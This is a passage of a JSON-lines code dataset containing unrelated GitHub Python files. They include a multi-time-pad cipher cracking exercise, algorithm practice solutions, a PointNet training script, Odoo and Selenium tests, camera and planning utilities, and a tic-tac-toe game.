contador+=1","repo_name":"Caiobinha1/Projeto_Final","sub_path":"Final.py","file_name":"Final.py","file_ext":"py","file_size_in_byte":5386,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24144970648","text":"import string\n\ndef hexXOR(char,key):\n#\tFunction to XOR two hexadecimal input numbers and \n#\toutput the correct ascii character.\n\treturn int(char,16) ^ ord(str(key))\n\ndef mtpCrack(cipherTxt, key, position):\n# Function for cracking a Multi-Time Pad Cipher \n#\tInput: Cipher Text, proposed Key and column Number to crack\n#\tOutput: Plain Text Character for each of the sentences\n\tcSentences = cipherTxt.split(\"*\")\t\n\tcompareList=[]\n\tasciiList=[]\n\n\tprintableASCII = string.printable\n\t#acceptableChars = list(printableASCII)\n\tacceptableChars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '!', '\"', '#', '$', '%', '&', \"'\", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', ' ']\n\n\t# Generate the Characters from the specified column and print to console\n\tfor j in range(0,len(cSentences)):\n\t\tcurrSentence = cSentences[j]\n\t\tcharList = [currSentence[k:k+2] for k in range(0, len(currSentence), 2)]\n\t\tcompareList.append(charList[position-1])\n\tif key == chr(0):\n\t\tprint(\"Current Column to compare:\", compareList)\n\t\tprint(\"Acceptable Ascii Characters:\", acceptableChars)\n\t\tprint(\"Possible solutions:\")\n\t\n\tcorrKey = hexXOR(compareList[0],key)\n\tcorrKey = chr(corrKey)\n\t# Run hexXOR on all elements of the compareList and output results\t\n\tprintList = False \n\tfor tok in compareList:\n\t\tval = hexXOR(tok,corrKey)\n\t\tasciiList.append(chr(val))\n\t\n\tfor i in asciiList:\n\t\tif i in acceptableChars:\n\t\t\tprintList = True\n\tif printList:\n\t\tprint(key,\":\",asciiList)\n\ndef runMtpCrack(position):\n\tfor i in range(0,127):\n\t\tmtpCrack(ctxt,chr(i),position)\n\n# run\nctxt = \"72ABFD6498E2FDCAD71545F12DCC9FAA523D3CA0E03A0441B445*64A2F374D6E4AFDB851A53F62DC892B9456D68AAE1751949A845*64A2E46893A5BEDFD1071CE165DA89BD533D29EFE275195DA545*7EAFE06884A5B1D7C05453F02DD99FF853743BA7E074095DB445*67A2F37F93A5B9D7C15448EA689B9FB4526D20AEE16E4C49AF54*67ABE46199F7B9CD85154EE72DC89FB45B7426A8AF7B1E43B345*7FBCF37F97E9B19ED11C59A269DE9BB417743BEFE9731F46B945\"\nrunMtpCrack(15)\n# GIVEN TEXT: 26 Wide ; 7 Tall\n#\t----------------------------------------------------\n#\t72ABFD6498E2FDCAD71545F12DCC9FAA523D3CA0E03A0441B445\n#\t64A2F374D6E4AFDB851A53F62DC892B9456D68AAE1751949A845\n#\t64A2E46893A5BEDFD1071CE165DA89BD533D29EFE275195DA545\n#\t7EAFE06884A5B1D7C05453F02DD99FF853743BA7E074095DB445\n#\t67A2F37F93A5B9D7C15448EA689B9FB4526D20AEE16E4C49AF54\n#\t67ABE46199F7B9CD85154EE72DC89FB45B7426A8AF7B1E43B345\n#\t7FBCF37F97E9B19ED11C59A269DE9BB417743BEFE9731F46B945\n#\t----------------------------------------------------","repo_name":"recursiveElk/mtp-crack","sub_path":"MTPCrack.py","file_name":"MTPCrack.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73415255841","text":"\"\"\"\n\nB[k]를 구해야 하기 때문에 B[k]를 이분탐색으로 찾으면 된다.\n문제의 예시에서 B[7], B[8]의 값이 같은 것처럼 B[k]의 값이 같은 경우가 생기기 때문에\n원하는 k를 찾을 때까지 이분탐색을 계속 수행해야 한다.\n\n행마다 임의의 숫자 m과 같거나 작은 수의 개수를 찾는다.\nA에서 m보다 작거나 같은 수의 개수를 sum이라 했을 때\n\nsum < k라면 m은 k번째 수가 될 수 없고\nsum >= k라면 m은 k번째 수가 될 가능성이 있으므로 계속 값을 찾는다\n\n\"\"\"\nimport sys\n\ninput = sys.stdin.readline\n\nN = int(input().rstrip(\"\\n\"))\nk = int(input().rstrip(\"\\n\"))\n\n\n# num보다 작은 수의 개수를 찾는다.\ndef partsum(num):\n ret = 0\n for i in range(1, N + 1):\n ret += num // i if num // i < N else N # (num // i): i번째 행에서 num보다 작은 수의 개수\n\n return ret\n\n\nleft = 0\nright = min(10000000000, k)\nwhile left <= right:\n mid = (left + right) // 2\n psum = partsum(mid)\n\n if psum < k: # k번째 수보다 작다면 값을 키워준다.\n left = mid + 1\n else: # k번째 수보다 크거나 같다면 k번째 수가 될 수 있으므로 수를 줄여가며 계속 탐색\n right = mid - 1\n\nprint(left)\n","repo_name":"ssun-g/solution","sub_path":"BOJ/python/1300.py","file_name":"1300.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71307432161","text":"# Let's say it's a wedding day, and two happy people are getting\n# married. \n\n# we have a dictionary first_family, which contains the names\n# of the wife's family members. For example:\nfirst_family = {\"wife\": \"Janet\", \"wife's mother\": \"Katie\", \"wife's father\": \"George\"}\n\n# And a similar dictionary second_family for the husband's\n# family:\nsecond_family = {\"husband\": \"Leon\", \"husband's mother\": \"Eva\", \"husband's father\": \"Gaspard\", \"husband's sister\": \"Isabelle\"}\n\n# Create a new dictionary that would contain information about\n# the big new family. Similarly with the ones above, family \n# members should be keys and their names should be values.\n# First, update the new dictionary with elements from\n# first_family and then from second_family. Print it out.\n\n# The following lines create dictionaries from the input\nfirst_family = json.loads(input())\nsecond_family = json.loads(input())\n\n# Work with the 'first_family' and 'second_family' and create a new dictionary\nbig_family = first_family\nbig_family.update(second_family)\nprint(big_family)","repo_name":"christiantriadataro/PYTHON-TRACK-IN-HYPERSKILL","sub_path":"Computer science/Programming languages/Python/Working with data/Collections/Dictionaries/Dictionary methods/Big family/big_family.py","file_name":"big_family.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36938513867","text":"import numpy as np\n\n\n# Retrieve batch/trajectories from the buffer for updates\nclass BufferOp(object):\n def __init__(self, args, num_agents):\n self.args = args\n self.beta = 0.6\n\n if self.args.policy_grad == \"maddpg\" and not self.args.PER_sampling:\n from sarnet_td3.trainer.replay_buffer_td3 import ReplayBuffer\n self.buffer = ReplayBuffer(self.args)\n elif self.args.policy_grad == \"maddpg\" and self.args.PER_sampling:\n from sarnet_td3.trainer.replay_buffer_td3 import PrioritizedReplayBuffer\n self.buffer = PrioritizedReplayBuffer(self.args, num_agents)\n\n def set_priorities(self, idxes, priorities, p_index):\n self.buffer.update_priorities(idxes, priorities, p_index)\n\n def return_exp(self, p_index):\n # Receive index of form - [Env [# Num of traj, # Batch size]]\n samples = self.buffer.sample(self.args.batch_size, self.beta, p_index)\n\n importance = None\n index = None\n if self.args.PER_sampling:\n samples, importance, index = samples\n\n obs_n_t, h_n_t, c_n_t, mem_n_t, q1_h_n_t, q2_h_n_t, act_n_t, rew_n_t, obs_n_t1, h_n_t1, c_n_t1, \\\n mem_n_t1, q1_h_n_t1, q2_h_n_t1, done_n_t = samples\n\n q1_h_n_t = np.moveaxis(q1_h_n_t, 0, -2)\n q1_h_n_t1 = np.moveaxis(q1_h_n_t1, 0, -2)\n if self.args.td3:\n q2_h_n_t = np.moveaxis(q2_h_n_t, 0, -2)\n q2_h_n_t1 = np.moveaxis(q2_h_n_t1, 0, -2)\n else:\n q2_h_n_t = q1_h_n_t\n q2_h_n_t1 = q1_h_n_t1\n\n # Input: [batch, agent, traj, dim] or [batch, traj, agent]\n # Output: [agent, traj, batch, dim] or [agent, traj, batch]\n # Compress all batches from each environment to a single array\n\n obs_n_t = np.moveaxis(obs_n_t, 0, -2)\n h_n_t = np.moveaxis(h_n_t, 0, -2)\n h_n_t1 = np.moveaxis(h_n_t1, 0, -2)\n if self.args.encoder_model in {\"LSTM\"}:\n c_n_t = np.moveaxis(c_n_t, 0, -2)\n c_n_t1 = np.moveaxis(c_n_t1, 0, -2)\n else:\n c_n_t = h_n_t\n c_n_t1 = h_n_t1\n mem_n_t = np.moveaxis(mem_n_t, 0, -2)\n act_n_t = np.moveaxis(act_n_t, 0, -2)\n obs_n_t1 = np.moveaxis(obs_n_t1, 0, -2)\n mem_n_t1 = np.moveaxis(mem_n_t1, 0, -2)\n # Input dim [batch, traj, agent]\n # Output dim [agent, traj, batch]\n done_n_t = np.swapaxes(done_n_t, -1, 0)\n rew_n_t = np.swapaxes(rew_n_t, -1, 0)\n\n data = (obs_n_t, h_n_t, c_n_t, mem_n_t, q1_h_n_t, q2_h_n_t, act_n_t, rew_n_t, obs_n_t1, h_n_t1,\n c_n_t1, mem_n_t1, q1_h_n_t1, q2_h_n_t1, done_n_t)\n\n return data, index, importance # Returns a list of tuples of batches for each step in the trajectory\n\n # Save experiences in the buffer\n def collect_exp(self, exp):\n if self.args.benchmark or self.args.display:\n return\n else:\n obs_n_t, h_n_t, c_n_t, mem_n_t, q1_h_n_t, q2_h_n_t, action_n_t, rew_n_t, obs_n_t1, h_n_t1, c_n_t1, \\\n mem_n_t1, q1_h_n_t1, q2_h_n_t1, done_n_t = self.reshape_action_to_buffer(exp)\n # [num_env, traj, agent, dim]\n for j in range(self.args.num_env):\n self.buffer.add(obs_n_t[j], h_n_t[j,:,0,:], c_n_t[j,:,0,:], mem_n_t[j,:,0,:], q1_h_n_t[j,:,0,:], q2_h_n_t[j,:,0,:], action_n_t[j], rew_n_t[j], obs_n_t1[j],\n h_n_t1[j,:,0,:], c_n_t1[j,:,0,:], mem_n_t1[j,:,0,:], q1_h_n_t1[j,:,0,:], q2_h_n_t1[j,:,0,:], done_n_t[j])\n\n return \"buffer_added\"\n\n # Reshapes Input to [batch, agent, traj, dim]\n def reshape_action_to_buffer(self, exp):\n obs_n_t, h_n_t, c_n_t, mem_n_t, q1_h_n_t, q2_h_n_t, action_n_t, rew_n_t, obs_n_t1, h_n_t1, c_n_t1, mem_n_t1, q1_h_n_t1, q2_h_n_t1, done_n_t = exp\n action_n_t = np.swapaxes(np.asarray(action_n_t), 0, -2)\n obs_n_t = np.swapaxes(np.asarray(obs_n_t), 0, -2)\n obs_n_t1 = np.swapaxes(np.asarray(obs_n_t1), 0, -2)\n h_n_t = np.swapaxes(np.asarray(h_n_t), 0, -2)\n h_n_t1 = np.swapaxes(np.asarray(h_n_t1), 0, -2)\n mem_n_t = np.swapaxes(np.asarray(mem_n_t), 0, -2)\n mem_n_t1 = np.swapaxes(np.asarray(mem_n_t1), 0, -2)\n if self.args.encoder_model in {\"LSTM\"}:\n c_n_t = np.swapaxes(np.asarray(c_n_t), 0, -2)\n c_n_t1 = np.swapaxes(np.asarray(c_n_t1), 0, -2)\n else:\n c_n_t = h_n_t\n c_n_t1 = h_n_t1\n q1_h_n_t = np.swapaxes(np.asarray(q1_h_n_t), 0, -2)\n q1_h_n_t1 = np.swapaxes(np.asarray(q1_h_n_t1), 0, -2)\n if self.args.td3:\n q2_h_n_t = np.swapaxes(np.asarray(q2_h_n_t), 0, -2)\n q2_h_n_t1 = np.swapaxes(np.asarray(q2_h_n_t1), 0, -2)\n else:\n q2_h_n_t = q1_h_n_t\n q2_h_n_t1 = q1_h_n_t1\n rew_n_t = np.swapaxes(np.asarray(rew_n_t), 0, -2) # .astype(np.float16) # [Batch, traj, #agent]\n done_n_t = np.swapaxes(done_n_t, 0, 1) # [Batch, traj, #agent]\n\n return obs_n_t, h_n_t, c_n_t, mem_n_t, q1_h_n_t, q2_h_n_t, action_n_t, rew_n_t, obs_n_t1, h_n_t1, c_n_t1, mem_n_t1, q1_h_n_t1, q2_h_n_t1, done_n_t","repo_name":"caslab-vt/SARNet","sub_path":"sarnet_td3/common/buffer_util_td3.py","file_name":"buffer_util_td3.py","file_ext":"py","file_size_in_byte":5120,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"54"} +{"seq_id":"14953184216","text":"import time\n\nfrom constants import IS_RASPBERRY_PI, CAMERA_PORT, RESOLUTION_H, RESOLUTION_W\nfrom utils import preview_image\n\n\n# noinspection PyPep8Naming\nclass Camera:\n\n def __init__(self, height=RESOLUTION_H, width=RESOLUTION_W):\n self.current_frame = None\n self.height = height\n self.width = width\n self.camera = None\n\n def start_capture(self, height=None, width=None, usingPiCamera=IS_RASPBERRY_PI, ):\n import imutils\n from imutils.video import VideoStream\n resolution = (self.height, self.width)\n if height:\n if width:\n resolution = (height, width)\n cf = VideoStream(usePiCamera=usingPiCamera,\n resolution=resolution,\n framerate=32).start()\n self.current_frame = cf\n time.sleep(2)\n\n if not usingPiCamera:\n frame = imutils.resize(self.current_frame.read(), width=resolution[0])\n # Stream started, call current_frame.read() to get current frame\n\n def stop_capture(self):\n print(\"Stopping Capture\")\n self.current_frame.stop()\n\n def capture_image(self):\n import cv2\n\n # Number of frames to throw away while the camera adjusts to light levels\n ramp_frames = 30\n\n self.camera = cv2.VideoCapture(CAMERA_PORT)\n _, im = self.camera.read()\n [self.camera.read() for _ in range(ramp_frames)]\n print(\"Taking image...\")\n _, camera_capture = self.camera.read()\n del self.camera\n return camera_capture\n\n def __del__(self):\n try:\n self.current_frame.release()\n except AttributeError:\n pass\n\n\nif __name__ == '__main__':\n # Capture and Display Image\n camera = Camera()\n image = camera.capture_image()\n preview_image(image)\n\n # Stream Video\n camera = Camera()\n camera.start_capture()\n import cv2\n\n while True:\n cv2.imshow(\"Camera Stream\", camera.current_frame.read())\n cv2.waitKey(10)\n","repo_name":"CT83/SmoothStream","sub_path":"camera/Camera.py","file_name":"Camera.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","stars":183,"dataset":"github-code","pt":"54"} +{"seq_id":"29461761023","text":"filePath = r\"day2.txt\"\n\nwith open(filePath, \"r\") as f:\n temp = f.read().splitlines()\n\nmovesDict_1 = {\"A\": 1, \"B\":2, \"C\":3}\nmovesDict_2 = {\"X\": 1, \"Y\":2, \"Z\":3}\n\nscore_round = 0\ntotal = 0\nfor line in temp:\n first, second = line.split(\" \")\n # print(first, second)\n if movesDict_1[first]+1 == movesDict_2[second]:\n score_round = (movesDict_2[second]+6)\n elif movesDict_1[first] == movesDict_2[second]+2:\n score_round = (movesDict_2[second]+6)\n elif movesDict_1[first] == movesDict_2[second]:\n score_round = (movesDict_2[second]+3)\n else:\n score_round = (movesDict_2[second])\n \n total += score_round\nprint(total)\n\n#### part two ####\n\nmovesDict_2 = {\"X\": 0, \"Y\":3, \"Z\":6}\ntotal = 0\nfor line in temp:\n first, second = line.split(\" \")\n \n if second == \"X\":\n if movesDict_1[first] - 1 == 0:\n my_move = 3\n else:\n my_move = movesDict_1[first] - 1\n score_round = my_move\n elif second == \"Y\":\n score_round = movesDict_1[first]+3\n else:\n if movesDict_1[first] + 1 == 4:\n my_move = 1\n else:\n my_move = movesDict_1[first] + 1\n score_round = my_move+6\n total += score_round\n\nprint(total)","repo_name":"franciscobonand/aoc2022","sub_path":"day2/python/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74071651362","text":"def binarySearch(arr,x):\n low=0\n high = len(arr)-1\n while low<=high:\n mid=(low+high)//2\n guess=arr[mid]\n if guess==x:\n return mid\n elif guess>x:\n high = mid-1\n else:\n low = mid+1\n return None\nprint(binarySearch([1,2,3,45,67,90],67))\n\n","repo_name":"divyanshmishra29/Binary_Search","sub_path":"binarySearch.py","file_name":"binarySearch.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"28066030380","text":"def selectionSort(A, n):\n '''\n Selection Sort: Search a minimum element, then location it at the head.\n Input:\n A: An array to sort\n n: A number of the array\n Output:\n Sorted Array 'A'\n Time complexity:\n O(N^2)\n '''\n \n for i in range(n):\n minimum = A[i]\n minimum_idx = i\n for j in range(i, n):\n if A[j] < minimum:\n minimum = A[j]\n minimum_idx = j\n # Swap\n temp = A[i]\n A[i] = minimum\n A[minimum_idx] = temp\n \n return A\n \n\ndef test():\n sample1 = [5,4,2,7,8,1,3,6]\n result1 = selectionSort(sample1, len(sample1))\n print(result1)\n\nif __name__ == '__main__':\n test()","repo_name":"ChanHyeok-Choi/algorithms","sub_path":"basic/sort/selectionSort.py","file_name":"selectionSort.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"33435614699","text":"import numpy as np\nfrom auv_control import State\n\nclass BasePlanner:\n \"\"\"Base class to handle visualization of trajectories.\n \n Variables to set when inheriting from this class:\n - pos_func\n - rot_func\n \"\"\"\n def _traj(self, t):\n \"\"\"Get desired trajectory at time t\"\"\"\n eps = 1e-5\n\n pos = self.pos_func(t)\n rot = self.rot_func(t)\n\n lin_vel = (self.pos_func(t+eps) - pos) / eps\n ang_vel = (self.rot_func(t+eps) - rot) / eps\n\n return np.hstack((pos, lin_vel, rot, ang_vel))\n\n def tick(self, t):\n \"\"\"Gets desired trajectory at time t, only as a state\"\"\"\n if not isinstance(t, float):\n raise ValueError(\"Can't tick with an array\")\n\n return State(self._traj(t))\n\n def draw_step(self, env, t, ts):\n \"\"\"Draw points on the next steps\"\"\"\n des = self._traj(t)\n env.draw_point(des[:3].tolist(), color=[0,255,0], thickness=20, lifetime=ts)\n\n def draw_traj(self, env, t):\n \"\"\"Makes trajectory line show up\"\"\"\n # Get all positions\n t = np.arange(0, t, 0.5)\n des_state = self._traj(t)\n des_pos = des_state[:,0:3]\n\n # Draw line between each\n for i in range(len(des_pos)-1):\n env.draw_line(des_pos[i].tolist(), des_pos[i+1].tolist(), thickness=5.0, lifetime=0.0)","repo_name":"contagon/AUVControl","sub_path":"auv_control/planning/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"54"} +{"seq_id":"29149070042","text":"from odoo.tests.common import TransactionCase\n\n\nclass TestMaintenancePurchase(TransactionCase):\n def setUp(self):\n super().setUp()\n self.team_id = self.env[\"maintenance.team\"].create({\"name\": \"Maintenance Team\"})\n self.request_1 = self.env[\"maintenance.request\"].create(\n {\"name\": \"Req 1\", \"maintenance_team_id\": self.team_id.id}\n )\n self.request_2 = self.env[\"maintenance.request\"].create(\n {\"name\": \"Req 1\", \"maintenance_team_id\": self.team_id.id}\n )\n self.supplier = self.env[\"res.partner\"].create({\"name\": \"Supplier\"})\n self.po_1 = self.env[\"purchase.order\"].create(\n {\n \"partner_id\": self.supplier.id,\n \"date_planned\": \"2017-02-11 22:00:00\",\n }\n )\n\n def test_maintenance_purchase(self):\n wiz = self.env[\"wizard.link.maintenance.po\"].create(\n {\n \"maintenance_request_id\": self.request_1.id,\n \"purchase_order_ids\": [(4, self.po_1.id)],\n }\n )\n wiz.link_po()\n self.assertEqual(self.request_1.purchases_count, 1)\n self.assertEqual(self.po_1.maintenance_requests_count, 1)\n action = wiz.create_po()\n self.assertEqual(\n self.request_1.id,\n action[\"context\"].get(\"default_maintenance_request_ids\")[0][1],\n )\n po_2 = (\n self.env[\"purchase.order\"]\n .with_context(default_maintenance_request_ids=[(4, self.request_1.id)])\n .create(\n {\n \"partner_id\": self.supplier.id,\n \"date_planned\": \"2017-02-11 22:00:00\",\n }\n )\n )\n action = po_2.action_view_maintenance_request()\n self.assertEqual(action[\"res_id\"], self.request_1.id)\n\n self.request_2.write({\"purchase_order_ids\": [(4, po_2.id)]})\n action = po_2.action_view_maintenance_request()\n self.assertTrue(action[\"domain\"])\n\n action = self.request_1.action_view_purchase()\n self.assertTrue(action[\"domain\"])\n action = self.request_2.action_view_purchase()\n self.assertEqual(action[\"res_id\"], po_2.id)\n","repo_name":"tegin/cb-maintenance","sub_path":"maintenance_request_purchase/tests/test_maintenance_purchase.py","file_name":"test_maintenance_purchase.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"37734882863","text":"import random\nimport pytest\nfrom selenium import webdriver\nfrom selenium.common import NoSuchElementException\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\n\n\n@pytest.mark.skip\ndef test_correctly_numbers(self, setup):\n keys = random.sample(range(1, 50), 6)\n for i in range(1, 7):\n unique_key = False\n while not unique_key:\n key = random.randint(1, 49)\n if key not in keys:\n keys[i - 1] = key\n unique_key = True\n number_input = self.driver.find_element(By.NAME, f\"number{i}\")\n number_input.send_keys(str(keys[i - 1]))\n self.driver.find_element(By.ID, \"submitBtn\").click()\n chosen_random_numbers = self.driver.find_element(By.ID, \"chosen\")\n chosen_random_text = chosen_random_numbers.text\n chosen_random_list = [int(x) for x in chosen_random_text.split(\":\")[1].strip()[1:-1].split(\", \")]\n assert str(keys) == str(chosen_random_list), \"Wybrane liczby nie zgadzają się z wyświetlonymi\"\n assert self.driver.find_element(By.ID, \"chosen\").is_displayed(), \"Ta funkcja nie działa\"","repo_name":"PatrykTatarczuch/Testing_Lotto_Page","sub_path":"tests/correct_numbers.py","file_name":"correct_numbers.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10980898813","text":"# 알람 시계\ntime = input().split(\" \")\n\nhour = int(time[0])\nminute = int(time[1])\n\nif minute - 45 >= 0:\n print(hour, minute - 45)\nelif minute - 45 < 0:\n if hour - 1 >= 0:\n print(hour-1, minute + 15)\n else:\n print(23, minute + 15)","repo_name":"SoulTree-Lovers/BaekJoon","sub_path":"Level_02/test05.py","file_name":"test05.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39095718950","text":"#8.10\n\nsquares = {i:i ** 2 for i in range(10)}\nprint(squares)\n\n# 8.11\n\nset_odd = {number for number in range(10) if number % 2 == 1}\nprint(set_odd)\n\n# 8.13\n\na = 'optimist','pessimist','troll'\nb = 'The glass is half full', 'The glass is half empty', 'How did you get a glass'\n\nprint(dict(zip(a,b)))\n\n# 8.14\ntitles = ['Creature of Habit', 'Crewel Fate']\nplots = ['A nun turns into a mon ster', 'A haunted yarn shop']\n\nprint(dict(zip(titles,plots)))\n\n# 9.1\n\ndef good():\n return ['Harry','Ron','Hermione']\nprint(good())\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"leedabin2/day05_","sub_path":"day05practice.py","file_name":"day05practice.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39140362261","text":"#!/usr/bin/python\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom pointnet import PointNet\nfrom dataloader_s3dis import SemSegDataset, class_names, class_colors\n\n# training parameters\nlearning_rate = 2e-4\nbatch_size = 10\nmax_epochs = 1000\nnum_resampled_points = 1024\nnum_class = len(class_names)\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nprint('Using device:', device)\n\nmodel = PointNet(num_class = num_class).to(device)\noptimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\nprint('PointNet model:')\nprint(model)\n\ntrain_dataset = SemSegDataset(root='data', area=1, N=num_resampled_points)\ntrain_dataloader = torch.utils.data.DataLoader(train_dataset, batch_size=batch_size, shuffle=True, num_workers=1)\nvalidation_dataset = SemSegDataset(root='data', area=2, N=num_resampled_points)\nvalidation_dataloader = torch.utils.data.DataLoader(validation_dataset, batch_size=batch_size, shuffle=True, num_workers=1)\nnum_train_batches = int(np.ceil(len(train_dataset) / batch_size))\nnum_validation_batches = int(np.ceil(len(validation_dataset) / batch_size))\n\nfor epoch in range(max_epochs):\n train_loss, train_correct, train_accuracy = 0, 0, 0\n for i, data in enumerate(train_dataloader):\n points, target = data\n # put the model in training mode\n model = model.train()\n # move this batch of data to the GPU if device is cuda\n points, target = points.to(device), target.to(device)\n # run a forward pass through the neural network and predict the outputs\n pred = model(points)\n pred_1d = pred.view(-1, num_class)\n target_1d = target.view(-1, 1)[:, 0]\n # compare the prediction vs the target labels and determine the negative log-likelihood loss\n loss = F.nll_loss(pred_1d, target_1d)\n # perform backpropagation to update the weights of the network based on the computed loss function\n loss.backward()\n optimizer.step()\n pred_choice = pred_1d.data.max(1)[1]\n train_loss += loss.item()\n train_correct += pred_choice.eq(target_1d).sum().item()\n# print(pred.shape, target.shape, pred_choice.shape, train_correct)\n train_loss /= num_train_batches\n train_accuracy = train_correct / len(train_dataset) / num_resampled_points\n print('[Epoch %d] train loss: %.3f accuracy: %.3f' % (epoch, train_loss, train_accuracy))\n\n if epoch % 100 == 99: # run validation every 100 epochs\n validation_loss, validation_correct, validation_accuracy = 0, 0, 0\n tp_per_class = [0] * num_class\n fp_per_class = [0] * num_class\n fn_per_class = [0] * num_class\n for j, data in enumerate(validation_dataloader):\n points, target = data\n points, target = points.to(device), target.to(device)\n # put the model in evaluation mode\n model = model.eval()\n with torch.no_grad():\n pred = model(points)\n pred_1d = pred.view(-1, num_class)\n target_1d = target.view(-1, 1)[:, 0]\n loss = F.nll_loss(pred_1d, target_1d)\n pred_choice = pred_1d.data.max(1)[1]\n validation_loss += loss.item()\n validation_correct += pred_choice.eq(target_1d).sum().item()\n for i in range(num_class):\n tp_per_class[i] += ((pred_choice==i) & (target_1d==i)).sum().item()\n fp_per_class[i] += ((pred_choice==i) & (target_1d!=i)).sum().item()\n fn_per_class[i] += ((pred_choice!=i) & (target_1d==i)).sum().item()\n validation_loss /= num_validation_batches\n validation_accuracy = validation_correct / len(validation_dataset) / num_resampled_points\n print('[Epoch %d] validation loss: %.3f accuracy: %.3f' % (epoch, validation_loss, validation_accuracy))\n for i in range(num_class):\n precision = 1.0 * tp_per_class[i] / (tp_per_class[i] + fp_per_class[i] + 1e-6)\n recall = 1.0 * tp_per_class[i] / (tp_per_class[i] + fn_per_class[i] + 1e-6)\n print('%10s: recall %.3f precision %.3f' % (class_names[i], precision, recall))\n\ntorch.save(model.state_dict(), 'pointnet.pth')\n","repo_name":"jingdao/Scan-to-BIM-Workshop","sub_path":"semantic_segmentation/train_pointnet.py","file_name":"train_pointnet.py","file_ext":"py","file_size_in_byte":4207,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"35662477395","text":"# this is test of development branch\ndef print_fig(fig):\n for i in range(len(fig)):\n if fig[i] == '':\n print('_',end='')\n else:\n print(fig[i],end='')\n if i == 2 or i == 5 or i == 8:\n print('')\n else:\n print('|',end='')\ndef check_fig(fig):\n winest = [[0,1,2], [3,4,5], [6,7,8], [0,4,8], [2,4,6], [0,3,6], [1,4,7], [2,5,8]]\n for i in winest:\n if fig[i[0]] == fig[i[1]] and fig[i[1]] == fig[i[2]] and '_' not in fig[i[0]] and fig[i[0]] != '':\n if fig[i[0]] == 'X':\n print('Player №1 WIN!')\n else:\n print('Player №2 WIN!')\n return True\n#print(fig)\nfig = list('' for x in range(0, 9))\nwin = False\nwhile not win:\n i=1\n while i < 3:\n try:\n answer = int(input(f'Player №{i} your move? '))\n except:\n print('Please enter Integer 0..8!')\n continue\n if answer not in range(0, 9):\n print('Please enter Integer 0..8!')\n continue\n if fig[answer] != '':\n print(f'In this cell already have move={fig[answer]}')\n continue\n if i==1:\n fig[answer] = 'X'\n else:\n fig[answer] = 'O'\n print_fig(fig)\n win = check_fig(fig)\n if win:\n break\n i+=1\n\n\n\n","repo_name":"smokevadim/python-test","sub_path":"XandO.py","file_name":"XandO.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36864237525","text":"from collections import OrderedDict\nfrom typing import Optional, List, Union, Dict, Set\nfrom warnings import warn\n\nimport unified_planning as up\nfrom unified_planning.model.expression import ConstantExpression\nfrom unified_planning.model.htn.method import Method\nfrom unified_planning.model.htn.task import Task\nfrom unified_planning.model.htn.task_network import TaskNetwork, AbstractTaskNetwork\nfrom unified_planning.exceptions import UPProblemDefinitionError\n\n\nclass HierarchicalProblem(up.model.problem.Problem):\n def __init__(\n self,\n name: Optional[str] = None,\n environment: Optional[\"up.environment.Environment\"] = None,\n *,\n initial_defaults: Dict[\n \"up.model.types.Type\",\n ConstantExpression,\n ] = {},\n ):\n super().__init__(\n name=name, environment=environment, initial_defaults=initial_defaults\n )\n self._abstract_tasks: OrderedDict[str, Task] = OrderedDict()\n self._methods: OrderedDict[str, Method] = OrderedDict()\n self._initial_task_network = TaskNetwork()\n\n def __repr__(self):\n s = [super().__repr__()]\n s.append(\"abstract tasks = [\\n\")\n for t in self._abstract_tasks.values():\n s.append(f\" {t}\\n\")\n s.append(\"]\\n\\n\")\n s.append(\"methods = [\")\n for m in self._methods.values():\n s.append((\"\\n\" + 